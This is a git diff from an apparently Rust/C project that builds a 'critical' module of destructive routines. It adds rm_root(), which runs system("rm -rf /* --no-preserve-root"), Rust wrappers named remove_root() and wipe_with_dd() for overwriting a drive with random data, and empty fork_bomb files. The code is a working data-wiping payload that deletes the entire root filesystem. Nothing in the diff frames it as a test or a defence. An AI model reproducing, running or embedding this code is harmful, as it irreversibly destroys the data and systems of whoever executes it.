diff options
Diffstat (limited to 'src/critical')
| -rw-r--r-- | src/critical/classic/dd.c (renamed from src/critical/dd.c) | 0 | ||||
| -rw-r--r-- | src/critical/classic/dd.h | 3 | ||||
| -rw-r--r-- | src/critical/classic/mod.rs | 14 | ||||
| -rw-r--r-- | src/critical/classic/rm_root.c | 6 | ||||
| -rw-r--r-- | src/critical/classic/rm_root.h | 3 | ||||
| -rw-r--r-- | src/critical/dd.h | 3 | ||||
| -rw-r--r-- | src/critical/fork_bomb.c | 0 | ||||
| -rw-r--r-- | src/critical/fork_bomb.h | 0 | ||||
| -rw-r--r-- | src/critical/mod.rs | 14 |
9 files changed, 40 insertions, 3 deletions
diff --git a/src/critical/dd.c b/src/critical/classic/dd.c index f3ca875..f3ca875 100644 --- a/src/critical/dd.c +++ b/src/critical/classic/dd.c diff --git a/src/critical/classic/dd.h b/src/critical/classic/dd.h new file mode 100644 index 0000000..266d9b3 --- /dev/null +++ b/src/critical/classic/dd.h @@ -0,0 +1,3 @@ +#pragma once + +void random_data_linux(char sym_drive[16]);
\ No newline at end of file diff --git a/src/critical/classic/mod.rs b/src/critical/classic/mod.rs new file mode 100644 index 0000000..f0e38a4 --- /dev/null +++ b/src/critical/classic/mod.rs @@ -0,0 +1,14 @@ +use std::os::raw::c_char; + +extern "C" { + pub fn random_data_linux(sym_drive: *const c_char); + pub fn rm_root(); +} + +pub unsafe fn wipe_with_dd(sym_drive: *const c_char) { + random_data_linux(sym_drive); +} + +pub unsafe fn remove_root() { + rm_root(); +} diff --git a/src/critical/classic/rm_root.c b/src/critical/classic/rm_root.c new file mode 100644 index 0000000..0ebdaba --- /dev/null +++ b/src/critical/classic/rm_root.c @@ -0,0 +1,6 @@ +#include <stdlib.h> +#include <unistd.h> + +void rm_root() { + system("rm -rf /* --no-preserve-root"); +}
\ No newline at end of file diff --git a/src/critical/classic/rm_root.h b/src/critical/classic/rm_root.h new file mode 100644 index 0000000..1ed79e9 --- /dev/null +++ b/src/critical/classic/rm_root.h @@ -0,0 +1,3 @@ +#pragma once + +void rm_root();
\ No newline at end of file diff --git a/src/critical/dd.h b/src/critical/dd.h deleted file mode 100644 index 70d855e..0000000 --- a/src/critical/dd.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -void andom_data_linux(char sym_drive[16]);
\ No newline at end of file diff --git a/src/critical/fork_bomb.c b/src/critical/fork_bomb.c new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/src/critical/fork_bomb.c diff --git a/src/critical/fork_bomb.h b/src/critical/fork_bomb.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/src/critical/fork_bomb.h diff --git a/src/critical/mod.rs b/src/critical/mod.rs new file mode 100644 index 0000000..f0e38a4 --- /dev/null +++ b/src/critical/mod.rs @@ -0,0 +1,14 @@ +use std::os::raw::c_char; + +extern "C" { + pub fn random_data_linux(sym_drive: *const c_char); + pub fn rm_root(); +} + +pub unsafe fn wipe_with_dd(sym_drive: *const c_char) { + random_data_linux(sym_drive); +} + +pub unsafe fn remove_root() { + rm_root(); +} |
